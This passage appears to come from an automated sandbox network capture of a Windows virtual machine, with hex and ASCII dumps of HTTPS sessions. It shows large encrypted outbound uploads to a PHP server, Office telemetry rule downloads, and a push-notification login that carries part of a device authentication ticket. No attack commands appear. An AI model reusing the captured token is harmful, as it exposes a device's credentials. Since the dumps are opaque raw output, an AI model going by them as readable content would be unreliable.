Data Ascii: f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:VJHEl^j#>7u;kT+9{Vf
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 05 35 04 fe 39 38 3e b1 4c 47 34 bc be 0d b6 cb 46 e5 21 b2 fa e2 41 6c e7 5f c9 c9 5f 41 76 20 78 63 4a 2a 1a 78 c5 38 0b c8 79 f8 2b a9 02 f4 f6 d0 cf fa e0 5d a3 f1 8e 53 36 1f Data Ascii: 6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr598>LG4F!Al__Av xcJ*x8y+]S6
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d 9e 7e b9 3d 4f 5b 04 02 e8 be 37 95 02 f1 da e2 b2 6b 4a 7b 51 f8 e8 d5 c2 47 15 a8 ec 2b 41 8c d1 63 6a 61 bd df 05 bd d5 fe 98 e4 51 3b ed 5e 77 50 c4 4f 0b 79 8e f0 e1 88 aa e8 Data Ascii: 3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}n*C;jy)PYz;N}~=O[7kJ{QG+AcjaQ;^wPOy
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 68 e9 af 3f c4 32 dc 1c 0f c0 c3 fa 43 4c 2f 89 c7 95 65 92 40 88 e9 28 4d 67 a2 9b f4 11 4c 06 6f 0d 73 f6 12 fb f2 5e c6 7e de 39 f2 e6 c9 f5 3c 70 ac 87 3e c1 f3 4e f8 91 a2 cd Data Ascii: [;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YOh?2CL/e@(MgLos^~9<p>N
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 8a c0 33 49 ae 6a 90 50 dc ba b7 2b 13 f4 82 00 01 ee 3b 6d 41 b9 1f db ce 6a da 45 22 3d 82 f5 71 cd ab da 4c 55 35 95 9c ac ab 63 3f 65 dd 5b 96 d4 e5 db c3 82 fa b3 f6 03 ef 07 Data Ascii: )vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ3IjP+;mAjE"=qLU5c?e[
2024-11-18 04:57:16 UTC	15331	OUT	Data Raw: 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a cc 52 ca fc dc 03 cf c7 7e f6 66 cb f7 9c 2b 6f 14 97 37 59 31 23 9d 13 3f 5c 04 86 67 08 b4 27 80 75 3f 1a 76 de 05 32 f6 38 fc ef b8 58 e7 36 30 2d 8b 10 04 4e 4e 8f 25 4a 5f 9e Data Ascii: I0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~jR~f+o7Y1#?\g'u?v28X60-NN%J_
2024-11-18 04:57:47 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hpgu232a22j7vlel6rsgajj7hr; expires=Thu, 13-Mar-2025 22:43:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ekvxm7qiOfDiPpGK8L66%2FFoTuSReZjTzwQJXR2OIS%2BYLi04r%2F5Ztrs8OM3WVutNm0h%2BTeQAtVKneTrvcMLX%2F3ma8a83lgj%2FWvMDF535ISDmvTPLaEzDJrY3jfmC%2B%2FP04"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4560f51f80ddac-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1186&sent=222&recv=609&lost=0&retrans=0&sent_bytes=2828&recv_bytes=573904&delivery_rate=2356387&cwnd=252&unsent_bytes=0&cid=bae849907a090e12&ts=31574&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:16 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:16 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045716Z-16547b76f7fpdsp9hC1DFW8f5000000002wg00000000ctg2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:16 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:16 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e210d223-001e-0049-40d2-375bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045716Z-1866b5c5fbbqmbqjhC1DFWwgvc00000004vg000000009wrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:16 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: da60be55-301e-0099-21b0-376683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045716Z-16547b76f7fp6s5dhC1DFWe28g00000002mg000000006aap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:16 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:16 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: f6a022a0-001e-0034-7476-39dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045716Z-1866b5c5fbb2t6txhC1DFWa2qc000000059g00000000c5ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:16 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 01d00230-301e-0052-7b89-3865d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045716Z-16547b76f7fp6s5dhC1DFWe28g00000002e000000000q8ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49728	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 68 77 71 6c 78 76 52 73 68 55 4f 32 34 2b 34 34 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 62 63 34 66 33 30 33 38 63 31 65 63 34 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: hwqlxvRshUO24+44.1Context: c1bc4f3038c1ec42
2024-11-18 04:57:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-18 04:57:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 68 77 71 6c 78 76 52 73 68 55 4f 32 34 2b 34 34 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 62 63 34 66 33 30 33 38 63 31 65 63 34 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 6f 75 44 76 36 66 57 63 77 32 4b 58 6c 4e 6a 61 4b 6b 32 4c 71 54 4f 61 7a 72 34 62 46 76 76 52 42 44 72 71 54 46 4a 4b 6e 53 2b 55 49 2b 54 6a 51 77 62 43 4f 61 4c 4b 2f 47 6e 6e 6b 35 36 6e 73 6e 35 4e 4b 38 5a 37 70 4f 4d 4a 55 6d 36 6b 4e 6d 38 4d 72 42 69 45 68 43 52 39 7a 65 4a 4e 39 47 37 37 4a 32 4c 30 58 2b 6a 6d Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: hwqlxvRshUO24+44.2Context: c1bc4f3038c1ec42<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaouDv6fWcw2KXlNjaKk2LqTOazr4bFvvRBDrqTFJKnS+UI+TjQwbCOaLK/Gnnk56nsn5NK8Z7pOMJUm6kNm8MrBiEhCR9zeJN9G77J2L0X+jm
2024-11-18 04:57:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 68 77 71 6c 78 76 52 73 68 55 4f 32 34 2b 34 34 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 63 31 62 63 34 66 33 30 33 38 63 31 65 63 34 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: hwqlxvRshUO24+44.3Context: c1bc4f3038c1ec42<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-18 04:57:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-18 04:57:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 47 49 4e 43 73 49 6b 4f 6b 57 44 4a 37 57 69 76 46 64 36 66 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: rGINCsIkOkWDJ7WivFd6fA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:17 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 3b26cc7f-901e-007b-713f-38ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045717Z-164f84587bflm48hhC1DFW0nf800000001z000000000nrxh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

